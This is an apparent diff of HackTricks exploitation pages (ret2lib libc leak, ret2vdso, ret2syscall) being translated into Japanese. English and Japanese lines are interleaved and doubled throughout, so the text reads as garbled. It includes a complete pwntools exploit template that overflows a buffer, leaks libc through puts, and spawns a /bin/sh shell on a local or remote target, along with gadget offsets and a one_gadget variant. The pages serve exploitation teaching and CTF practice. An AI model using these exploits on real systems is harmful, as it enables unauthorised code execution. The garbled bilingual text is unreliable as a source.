rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload #Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print) print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1) p.sendline(rop1)
#Parse leaked address #Parse leaked address
recieved = p.recvline().strip() recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00")) leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak)) log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here #If not libc yet, stop here
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
return hex(leak) return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "": if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive() p.interactive()
``` ```
実行されたコードの中で最も重要な行は次のとおりです:
To do so, the most important line of the executed code is:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
これにより、**RIP**を**上書き**することが可能になるまでいくつかのバイトが送信されます: `OFFSET`。\
次に、ガジェット`POP_RDI`の**アドレス**を設定し、次のアドレス(`FUNC_GOT`)が**RDI**レジスタに保存されます。これは、`PUTS_GOT`の**アドレス**を渡して**putsを呼び出す**ためです。puts関数のメモリ内のアドレスは`PUTS_GOT`が指すアドレスに保存されています。\
その後、`PUTS_PLT`が呼び出され(**RDI**内に`PUTS_GOT`がある状態で、putsは`PUTS_GOT`内の**内容を読み取ります****メモリ内のputs関数のアドレス**)そしてそれを**出力します**。\
最後に、**main関数が再度呼び出され**、オーバーフローを再度利用できるようになります。
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ この方法で、**puts関数を騙して**、**メモリ内のputs関数の**アドレス(**libc**ライブラリ内)を**出力させました**。そのアドレスがわかったので、**どのlibcバージョンが使用されているかを検索できます**。
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
![](<../../../../images/image (1049).png>) ![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ **ローカル**バイナリを**利用している**ため、どのバージョンの**libc**が使用されているかを特定する必要はありません(ただし、`/lib/x86_64-linux-gnu/libc.so.6`でライブラリを見つけてください)。\
But, in a remote exploit case I will explain here how can you find it: しかし、リモートエクスプロイトの場合、ここでどのように見つけるかを説明します:
### 3.1- Searching for libc version (1) ### 3.1- libcバージョンの検索 (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ ウェブページで使用されているライブラリを検索できます: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc** これにより、発見された**libc**のバージョンをダウンロードすることもできます。
![](<../../../../images/image (221).png>) ![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2) ### 3.2- libcバージョンの検索 (2)
You can also do: 次のようにすることもできます:
- `$ git clone https://github.com/niklasb/libc-database.git` - `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database` - `$ cd libc-database`
- `$ ./get` - `$ ./get`
This will take some time, be patient.\ これには少し時間がかかるので、辛抱してください。\
For this to work we need: これを機能させるためには、次が必要です:
- Libc symbol name: `puts` - Libcシンボル名: `puts`
- Leaked libc adddress: `0x7ff629878690` - 漏洩したlibcアドレス: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
これにより、最も可能性の高い**libc**を特定できます。
```bash ```bash
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
``` ```
2つのマッチが得られます最初のものが機能しない場合は2番目のものを試してください。最初のものをダウンロードしてください
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
```bash ```bash
./download libc6_2.23-0ubuntu10_amd64 ./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package -> Downloading package
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`からlibcを作業ディレクトリにコピーします。
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. ### 3.3- 漏洩させる他の関数
### 3.3- Other functions to leak
```python ```python
puts puts
printf printf
@ -198,28 +181,24 @@ __libc_start_main
read read
gets gets
``` ```
## 4- libcアドレスの発見と悪用
## 4- Finding based libc address & exploiting この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のように使用します:`/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` したがって、`template.py`の最初に**libc**変数を次のように変更します: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #ライブラリパスを知っているときに設定`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` **libcライブラリ**への**パス**を指定することで、残りの**エクスプロイトは自動的に計算されます**。
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
`get_addr`関数内で**libcのベースアドレス**が計算されます:
```python ```python
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
> [!NOTE] > [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. > 最終的なlibcベースアドレスは**00で終わる必要があります**。そうでない場合は、間違ったライブラリを漏洩した可能性があります。
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
次に、関数`system`のアドレスと**文字列**_"/bin/sh"_の**アドレス**は、**libc**の**ベースアドレス**から**計算**され、**libcライブラリ**が与えられます。
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
最終的に、/bin/sh 実行エクスプロイトが準備されます。
Finally, the /bin/sh execution exploit is going to be prepared sent:
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,30 +217,27 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
最後のROPについて説明しましょう。\
最後のROP`rop1`は再びmain関数を呼び出し、次に**overflow**を**再利用**することができます(だから`OFFSET`がここに再びあります)。次に、`POP_RDI`を呼び出して**"/bin/sh"**の**アドレス**`BINSH`)を指し、**system**関数(`SYSTEM`)を呼び出します。なぜなら、**"/bin/sh"**のアドレスがパラメータとして渡されるからです。\
最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**正常に終了**し、アラートが生成されません。
Let's explain this final ROP.\ **この方法で、エクスプロイトは\_/bin/sh**\_\*\*シェルを実行します。*\*
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../images/image (165).png>) ![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET ## 4(2)- ONE_GADGETの使用
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ **system**と**"/bin/sh"**を使用する代わりに、[**ONE_GADGET**](https://github.com/david942j/one_gadget)を使用してシェルを取得することもできます。**ONE_GADGET**はlibcライブラリ内で、1つの**ROPアドレス**を使用してシェルを取得する方法を見つけます。\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。
![](<../../../../images/image (754).png>) ![](<../../../../images/image (754).png>)
```python ```python
ONE_GADGET = libc.address + 0x4526a ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100 rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
## EXPLOIT FILE ## EXPLOIT FILE
You can find a template to exploit this vulnerability here: この脆弱性を悪用するためのテンプレートはここにあります:
{{#ref}} {{#ref}}
rop-leaking-libc-template.md rop-leaking-libc-template.md
@ -273,32 +247,26 @@ rop-leaking-libc-template.md
### MAIN_PLT = elf.symbols\['main'] not found ### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code: "main" シンボルが存在しない場合、メインコードの場所を見つけることができます:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
アドレスを手動で設定します:
and set the address manually:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Putsが見つかりません
### Puts not found バイナリがPutsを使用していない場合は、次のことを確認してください。
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` すべてのエクスプロイトを作成した後にこの**エラー**が見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
**"/bin/sh"のアドレスから64バイトを引いてみてください**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template # libcのリーク - テンプレート
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py ```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {} ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL: if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP: elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH: elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH: if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue # attach gdb and continue
# You can set breakpoints, for example "break *main" # You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264 OFFSET = b"" #b"A"*264
if OFFSET == b"": if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264) payload = cyclic(264)
payload += b"AAAAAAAA" payload += b"AAAAAAAA"
print(P.clean()) print(P.clean())
P.sendline(payload) P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application #x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes #print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive() P.interactive()
exit() exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ### ### Find Gadgets ###
#################### ####################
try: try:
libc_func = "puts" libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except: except:
libc_func = "printf" libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf'] PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main'] MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
######################## ########################
def generate_payload_aligned(rop): def generate_payload_aligned(rop):
payload1 = OFFSET + rop payload1 = OFFSET + rop
if (len(payload1) % 16) == 0: if (len(payload1) % 16) == 0:
return payload1 return payload1
else: else:
payload2 = OFFSET + p64(RET) + rop payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0: if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully") log.info("Payload aligned successfully")
return payload2 return payload2
else: else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}") log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1 return payload1
def get_addr(libc_func): def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func] FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain # Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1) rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload # Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print) print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1) P.sendline(rop1)
# If binary is echoing back the payload, remove that message # If binary is echoing back the payload, remove that message
recieved = P.recvline().strip() recieved = P.recvline().strip()
if OFFSET[:30] in recieved: if OFFSET[:30] in recieved:
recieved = P.recvline().strip() recieved = P.recvline().strip()
# Parse leaked address # Parse leaked address
log.info(f"Len rop1: {len(rop1)}") log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00")) leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address # Set lib base address
if LIBC: if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address)) log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here # If not LIBC yet, stop here
else: else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive() P.interactive()
return hex(leak) return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget) ## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget # gem install one_gadget
def get_one_gadgets(libc): def get_one_gadgets(libc):
import string, subprocess import string, subprocess
args = ["one_gadget", "-r"] args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()] args += ["-b", libc.hex()]
else: else:
args += [libc] args += [libc]
try: try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except: except:
print("One_gadget isn't installed") print("One_gadget isn't installed")
one_gadgets = [] one_gadgets = []
return return
rop2 = b"" rop2 = b""
if USE_ONE_GADGET: if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC) one_gadgets = get_one_gadgets(LIBC)
if one_gadgets: if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation ## Normal/Long exploitation
if not rop2: if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"] SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"] EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI)) log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT)) log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2) rop2 = generate_payload_aligned(rop2)
print(P.clean()) print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :) P.interactive() #Interact with your shell :)
``` ```
## 一般的な問題
## Common problems ### MAIN_PLT = elf.symbols\['main'] が見つかりません
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
"main" シンボルが存在しない場合(おそらくストリップされたバイナリのため)、メインコードがどこにあるかを見つけることができます:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
アドレスを手動で設定します:
and set the address manually:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Putsが見つかりません
### Puts not found バイナリがPutsを使用していない場合は、**使用しているか確認してください**
If the binary is not using Puts you should **check if it is using** ### `sh: 1: %s%s%s%s%s%s%s%s: 見つかりません`
### `sh: 1: %s%s%s%s%s%s%s%s: not found` すべてのエクスプロイトを作成した後にこの**エラー**が見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: 見つかりません`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
**"/bin/sh"のアドレスから64バイトを引いてみてください**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. **vDSO領域にガジェットが存在する可能性があります**。これはユーザーモードからカーネルモードに切り替えるために使用されます。この種のチャレンジでは、通常、vDSO領域をダンプするためにカーネルイメージが提供されます。
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)の例に従って、vdsoセクションをダンプし、ホストに移動する方法を見ることができます。
```bash ```bash
# Find addresses # Find addresses
cat /proc/76/maps cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso file vdso
ROPgadget --binary vdso | grep 'int 0x80' ROPgadget --binary vdso | grep 'int 0x80'
``` ```
ROPガジェットが見つかりました:
ROP gadgets found:
```python ```python
vdso_addr = 0xf7ffc000 vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
``` ```
> [!CAUTION] > [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) > したがって、**vdsoを悪用してASLRをバイパスする**ことが可能であるかもしれないことに注意してください。カーネルがCONFIG_COMPAT_VDSOでコンパイルされている場合、vdsoアドレスはランダム化されません: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64 ### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: kali 2023.2 arm64でバイナリのvdsoセクションをダンプして確認したところ、スタックの値からレジスタを制御したり、retのためにx30を制御したりするための興味深いガジェットは見つかりませんでした**SROPを呼び出す方法を除いて**。ページの例からの詳細を確認してください:
{{#ref}} {{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、`sys_execve`システムコールを呼び出すために、いくつかの引数を準備します。これにより、`/bin/sh`を実行します。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。
In order to prepare the call for the **syscall** it's needed the following configuration: **syscall**の呼び出しを準備するためには、次の構成が必要です:
- `rax: 59 Specify sys_execve` - `rax: 59 sys_execveを指定`
- `rdi: ptr to "/bin/sh" specify file to execute` - `rdi: "/bin/sh"へのポインタ、実行するファイルを指定`
- `rsi: 0 specify no arguments passed` - `rsi: 0、引数は渡さないことを指定`
- `rdx: 0 specify no environment variables passed` - `rdx: 0、環境変数は渡さないことを指定`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. 基本的には、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。
> [!TIP] > [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). > 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更**することができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/)と組み合わせることができます。
## Register gadgets ## レジスタガジェット
Let's start by finding **how to control those registers**:
**これらのレジスタを制御する方法**を見つけることから始めましょう:
```bash ```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret 0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret 0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret 0x00000000004498b5 : pop rdx ; ret
``` ```
これらのアドレスを使用すると、**スタックにコンテンツを書き込み、レジスタにロードする**ことが可能です。
With these addresses it's possible to **write the content in the stack and load it into the registers**. ## 文字列の書き込み
## Write string ### 書き込み可能なメモリ
### Writable memory
First you need to find a writable place in the memory
まず、メモリ内の書き込み可能な場所を見つける必要があります。
```bash ```bash
gef> vmmap gef> vmmap
[ Legend: Code | Heap | Stack ] [ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
